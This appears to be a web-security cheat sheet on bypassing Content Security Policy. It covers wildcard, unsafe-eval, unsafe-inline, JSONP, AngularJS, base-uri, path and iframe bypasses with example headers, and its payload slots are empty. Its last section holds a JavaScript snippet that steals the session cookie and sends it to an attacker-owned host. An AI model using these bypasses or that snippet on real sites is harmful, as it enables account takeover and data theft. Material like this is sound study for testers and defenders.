🧰CSP Bypass
To validate the CSP of your application, check out CSP Evaluator.
CSP Directives (policy )
script-src:
Specifies the JavaScript sources that are allowed. Additionally, inline script event handlers (onclick) and XSLT stylesheets (eXtensible Stylesheet Language) that trigger script execution can also be loaded into elements.
default-src:
This directive specifies how resources are fetched by default. The browser follows this directive if fetch directives are not included in the CSP header.
child-src:
This directive specifies what resources web workers and embedded frames can use.
frame-src:
This directive limits the URLs that can be called out as frames.
frame-ancestors:
A directive specifies the sources where this page can be embedded. It applies only to non-HTML resources and can't be used in tags(used to prevent clickjacking attacks).
img-src:
This specifies which sources can be used to load images on the web page.
object-src:
This property defines the allowed sources for the elements object, embed, and widget.
base-uri:
With this element, you can define the allowed URLs for an element to load using.
upgrade-insecure-requests:
By using this directive, browsers are instructed to rewrite URL schemes so that HTTP is replaced by HTTPS. Rewriting old URLs can be beneficial for websites with many old URLs.
sandbox:
The sandbox (document) directive creates a sandbox around the resource, similar to the sandbox attribute. As a result, popups are prevented, plugins and scripts are prohibited, and a same-origin policy is enforced.
Some other CSP directives include: prefetch-src, connect-src, form-action, etc.
----------------------------------------------------------------
Values for CSP Directives

----------------------------------------------------------------
Unsafe Policies
Wildcard(*)
In script-src, a wildcard is used, which results in a misconfigured CSP policy. This means that any source for a given directive is allowed.
Policy Example:
CSP Header
Content-Security-Policy: script-src 'self' https://cobalt.io https: data *;
XSS payloads:
----------------------------------------------------------------
Unsafe eval()
Whitelisted Scheme
This policy remains vulnerable due to unsafe-eval usage despite having the script source set to https://www.cobalt.io.
Policy Example:
CSP Header
Content-Security-Policy: script-src https://cobalt.io 'unsafe-eval' data: http://*;
XSS payloads:
----------------------------------------------------------------
Unsafe inline
The best CSP source value for script-src directive we can find since it allows everything we might need: event handlers, javascript pseudo-protocol, and scripts. A simple alert(1) is enough for XSS.
Despite this policy requiring scripts from the Target site, it is vulnerable because the directive uses unsafe-inline.
Policy Example:
CSP Header
Content-Security-Policy: script-src ‘self’ 'unsafe-inline' ;
XSS payloads:
----------------------------------------------------------------
JSONP Callback and Whitelisted the Third Party
In JSONP, the same-origin policy (SOP) is bypassed so you can request and retrieve data from a server without worrying about cross-domain issues.
JavaScript payloads can be injected into JSONP endpoints through GET parameters called "callbacks", and the endpoint will return them to you as JSON, bypassing SOP(same origin policy). For example, we can send our JavaScript payload via the JSONP endpoint. Below is an example:


The script-src policy can cause problems if a header has one of these endpoints and Domains whitelisted.


There were a bunch of allowed/whitelisted URLs. Thus I scrolled down and started looking for something that might help me bypass the CSP. When I scrolled to the end I got to know that the script-src allowed the YOUTUBE.
The JSONP endpoint would allow us to bypass the CSP policy by loading our malicious JavaScript. There are a number of ready-to-use CSP bypass endpoints available in JSONBee.
All whitelisted domains are a breach on the respective policy so if we find a way to import a JSONP endpoint with a callback or to include a JS library (with unsafe-eval) too, it will work flawless. An old (also non-verified) list of possible JSONP endpoints with callback for several well-known websites can be found here.
Policy Example:
CSP header
The following payload would be loaded because accounts.google.com allows JavaScript files to be loaded. To load our malicious JavaScript, we are abusing the JSONP feature.
XSS payloads:
----------------------------------------------------------------
object-src and default-src
CSP header
Content-Security-Policy: script-src 'self' ;
----------------------------------------------------------------
Angular JS
The CSP policy can be bypassed if the AngularJS application loads any scripts from a whitelisted domain. To accomplish this, a callback function and vulnerable class must be called. In addition, a special $event object is defined for AngularJS events, which simply refers to the browser event object. Through this object, you can bypass the CSP.
Policy Example:
CSP header
Content-Security-Policy: script-src 'self' ajax.googleapis.com; object-src 'none' ;report-uri /Report-parsing-url;
XSS payloads:
----------------------------------------------------------------
File Upload
You can bypass the CSP if you can upload a JS file. There is a high probability that the server validates the uploaded file and allows only the specified file types to be uploaded.
In addition, even if you upload JS code into a file with an extension accepted by the server (e.g. script.png if png extension is allowed), this won't suffice because some servers, like the Apache server, determine the MIME type of the file based on its extension. Chrome browser, for example, rejects Javascript code running in an image.
CSP header
Content-Security-Policy: script-src 'self'; object-src 'none' ;
XSS payloads:
----------------------------------------------------------------
base-uri Bypass
If there’s a running script on the page called with a relative path like /path/script.js after the point of injection, there’s no base URI set in the document and no base-uri directive, there’s a simple bypass for any CSP implemented.
A dangling markup injection can be performed if the base-uri directive is absent in the defined CSP. You can abuse the base tag to obtain an XSS by making the page load a script from your server if the script has a relative path (like /js/app.js). An HTTPS URL should be used if the vulnerable page is loaded over HTTPS.
Policy Example:
CSP header
Content-Security-Policy: script-src 'nonce-abcd1234';
XSS payloads:
if Policy Example Fixed or Predictable Nonce:
Then XSS payloads:
----------------------------------------------------------------
Folder path bypass
When you use the %2f to encode '/' as part of your CSP policy and point it to a folder, it will still be considered part of the folder. That seems to be the case with almost all modern-day browsers.
When the server decodes it, it can be bypassed by using "%2f..%2f", bypassing the folder restriction. For example, you can access http://example.com/company/, and executing http://example.com/company%2f..%2fattacker/file.js will bypass the restriction.
CSP header:
Content-Security-Policy: script-src cobalt.io/safe-directory/
XSS payloads:
----------------------------------------------------------------
Bypassing CSP using IFRAME
Attackers can use Iframes to bypass the below CSP policy. An iframe from the whitelisted domain must be allowed by the application in order to perform the bypass. An XSS attack can be easily facilitated by using the srcdoc attribute of the iframe.
CSP header
Policy Example: default-src 'self' data: *; connect-src 'self'; script-src 'self' ;
XSS payloads:
*** DOM-based XSS Tip ***
In DOM-based injection scenarios, a script used for a CSP bypass might not load so we can use the following to achieve Javascript execution:
XSS vector for when you need to call a script to bypass some "script-src" CSP directive in a DOM-based scenario.
XSS payload:
----------------------------------------------------------------
CSP Injection Bypass
In this case, the input from the user is reflected back in the CSP header. Let's take the following URL as an example:
https://www.cobalt.io?param=payload.
This is what you should see if your input is reflected in the CSP header.
CSP header
script-src payload;
object-src 'none';
base-uri 'none';
script-src can therefore be set to whatever value we want. This value can be easily set to a domain we control, bypassing the CSP.
----------------------------------------------------------------
CSP Data Exfiltration
Even though there’s a strict CSP that prohibits you from interacting with external servers, there are still things you can do to exfiltrate the data regardless of how strict the CSP is.
Location
In order to send the secret information to the attacker's server, you could simply update the location:
var sessionid = document.cookie.split('=')[1] + ".";
document.location = "https://www.attacker-owned-website.com/?" + sessionid;
----------------------------------------------------------------
Last updated
